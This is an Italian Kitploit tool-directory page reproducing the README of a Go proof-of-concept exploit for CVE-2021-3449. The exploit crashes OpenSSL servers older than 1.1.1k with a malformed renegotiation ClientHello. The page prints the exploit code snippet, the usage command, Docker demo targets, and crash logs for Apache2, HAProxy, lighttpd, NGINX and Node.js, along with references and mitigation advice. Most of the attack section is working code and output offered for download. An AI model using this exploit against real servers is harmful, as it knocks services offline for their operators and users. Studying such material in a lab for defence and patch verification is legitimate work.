Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2021-3449 — CVE-2021-3449 exploit denial-of-service di OpenSSL 👨🏻‍💻 | Kitploit
Strumenti/GitHubGitHub/riptl/cve-2021-3449
Analisi delle VulnerabilitàExploitSicurezza WebPenetration Testing
GitHubriptl/cve-2021-3449

cve-2021-3449

CVE-2021-3449 exploit denial-of-service di OpenSSL 👨🏻‍💻

Vedi Repository
22437125 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-3449 exploit DoS per OpenSSL <1.1.1k

Uso: go run . -host hostname:port

Questo programma implementa un exploit proof-of-concept di CVE-2021-3449 che colpisce i server OpenSSL precedenti alla 1.1.1k se la rinegoziazione sicura TLSv1.2 è accettata.

Si connette a un server TLSv1.2 e avvia immediatamente una "rinegoziazione sicura" RFC 5746. L’attacco utilizza un ClientHello appositamente alterato che provoca il crash del server tramite un dereferenziamento di un puntatore NULL (Denial-of-Service).

Riferimenti

  • Avviso di sicurezza OpenSSL
  • cve.mitre.org
  • Avviso di sicurezza Ubuntu (USN-4891-1)
  • Tracker di sicurezza Debian
  • Voce CVE di Red Hat

Questo problema è stato segnalato a OpenSSL il 17 marzo 2021 da Nokia. La correzione è stata sviluppata da Peter Kästle e Samuel Sapalski di Nokia.

Mitigazione

L’unica soluzione nota è aggiornare libssl1.1.

Anche se alcune applicazioni utilizzano per impostazione predefinita configurazioni TLS rafforzate che disabilitano la rinegoziazione TLS, sono comunque interessate dal bug se eseguono una versione vecchia di OpenSSL.

Exploit

main.go è un piccolo script che si connette a un server TLS, forza una rinegoziazione e si disconnette.

Il codice dell’exploit è stato iniettato in una versione inclusa del pacchetto encoding/tls di Go 1.14.15. Puoi trovarlo in handshake_client.go:115. La logica è autoesplicativa.

root@kitploit:~
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

Demo

La directory demo/ contiene la configurazione per patchare varie applicazioni con una versione vulnerabile di OpenSSL.

Configurazione del test:

  • Scaricare e compilare localmente la versione vulnerabile di OpenSSL 1.1.1j
  • Preparare un container di destinazione Ubuntu 20.04 e caricare le librerie OpenSSL
  • Installare l’applicazione sul container di destinazione
  • Avviare il server ed eseguire l’attacco

Requisiti:

  • OpenSSL (sull’host)
  • build-essential (Perl, GCC, Make)
  • Docker

Nota: nessuno dei server web elencati è vulnerabile a CVE-2021-3449 con OpenSSL 1.1.1k o versioni successive.

ServerDistroVersioneDemoRisultato
OpenSSL s_server-1.1.1jmake demo-opensslCrash
Apache2Ubuntu 18.042.4.29make demo-apache2Crash parziale
HAProxyUbuntu 18.041.8.8make demo-haproxyCrash
HAProxyUbuntu 20.042.0.13make demo-haproxyNessun effetto
lighttpdUbuntu 18.041.4.55make demo-lighttpdCrash
lighttpdUbuntu 20.041.4.55make demo-lighttpdCrash
lighttpdUbuntu 21.041.4.59make demo-lighttpdNessun effetto con opzione di configurazione
NGINXUbuntu 18.041.14.0make demo-nginxCrash parziale
NGINXUbuntu 20.041.18.0make demo-nginxNessun effetto
Node.js <=12Ubuntu 18.04Nessun effetto
Node.js >12Ubuntu 18.04?make demo-nodejsCrash
Node.js >12Ubuntu 18.0415.14.0make demo-nodejsNessun effetto

Per pulire tutte le risorse della demo, esegui make clean.

OpenSSL simple server

openssl s_server è un’implementazione minima di server TLS.

  • make demo-openssl: Esecuzione completa (porta 4433)
  • make -C demo build-openssl: Costruisci l’immagine Docker di destinazione
  • make -C demo start-openssl: Avvia il target sulla porta 4433
  • make -C demo stop-openssl: Ferma il target

Risultato: crash completo del server.

Log

root@kitploit:~
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

Il server web Apache2 httpd con configurazione predefinita è vulnerabile.

  • make demo-apache: Esecuzione completa (porta 443)
  • make -C demo build-apache: Costruisci l’immagine Docker di destinazione
  • make -C demo start-apache: Avvia il target sulla porta 443
  • make -C demo stop-apache: Ferma il target

Grazie a @binarytrails per il contributo.

Risultato: interruzione parziale, il processo principale è ancora attivo ma il processo worker è andato in crash.

Log

root@kitploit:~
docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]

sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2

HAProxy

Le versioni di HAProxy 2.0.13 e successive non sono interessate.

Le versioni precedenti almeno alla 1.8.8 sono vulnerabili con configurazione TLS "intermediate".

  • make demo-haproxy: Esecuzione completa (porta 4433)
  • make -C demo build-haproxy: Costruisci l’immagine Docker di destinazione
  • make -C demo start-haproxy: Avvia il target sulla porta 4433
  • make -C demo stop-haproxy: Ferma il target

I test sono stati eseguiti in modalità master-worker (flag -W, predefinita su Debian). Sorprendentemente, il processo master termina se un processo worker muore.

Risultato: crash completo del server.

Log

root@kitploit:~
docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)

lighttpd

Le versioni di lighttpd 1.4.56 e successive non sono vulnerabili se ssl.disable-client-renegotiation = "enable" è configurato in lighttpd.conf.

Il server web lighttpd <= 1.4.55 con configurazione TLS "intermediate" è vulnerabile.

  • make demo-lighttpd: Esecuzione completa (porta 4433)
  • make -C demo build-lighttpd: Costruisci l’immagine Docker di destinazione
  • make -C demo start-lighttpd: Avvia il target sulla porta 4433
  • make -C demo stop-lighttpd: Ferma il target

Risultato: crash completo del server.

Log

root@kitploit:~
docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf

NGINX

Le versioni di NGINX 1.18.0 e successive non sono vulnerabili.

Il server web NGINX 1.14.0 con configurazione comune è vulnerabile. (https://nginxconfig.io)

Le versioni di NGINX >1.15.4 con OpenSSL >=1.1.1 sono considerate sicure, poiché includono la patch SSL_OP_NO_RENEGOTIATION: http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html

  • make demo-nginx: Esecuzione completa (porta 4433)
  • make -C demo build-nginx: Costruisci l’immagine Docker di destinazione
  • make -C demo start-nginx: Avvia il target sulla porta 4433
  • make -C demo stop-nginx: Ferma il target

Risultato: interruzione parziale, il processo principale è ancora attivo ma il processo worker è andato in crash.

Log

root@kitploit:~
docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)

Node.js

https.createServer() di Node.js è vulnerabile.

  • make demo-nodejs: Esecuzione completa (porta 4433)
  • make -C demo build-nodejs: Costruisci l’immagine Docker di destinazione
  • make -C demo start-nodejs: Avvia il target sulla porta 4433
  • make -C demo stop-nodejs: Ferma il target

Risultato: crash completo del server.

Log

root@kitploit:~
server started
sending initial ClientHello
connected
sending malicious ClientHello

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0  0x000000000160714e in tls1_process_sigalgs ()
#1  0x00000000016074b3 in tls1_set_server_sigalgs ()
#2  0x00000000016007dd in tls_post_process_client_hello ()
#3  0x00000000015ef692 in state_machine.part ()
#4  0x00000000015c1a6d in ssl3_read_bytes ()
#5  0x00000000015ca2c7 in ssl3_read ()
#6  0x00000000015d6491 in SSL_read ()
#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF

Copyright

Questo repository include il pacchetto encoding/tls del linguaggio di programmazione Go.

root@kitploit:~
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
Scarica lo strumento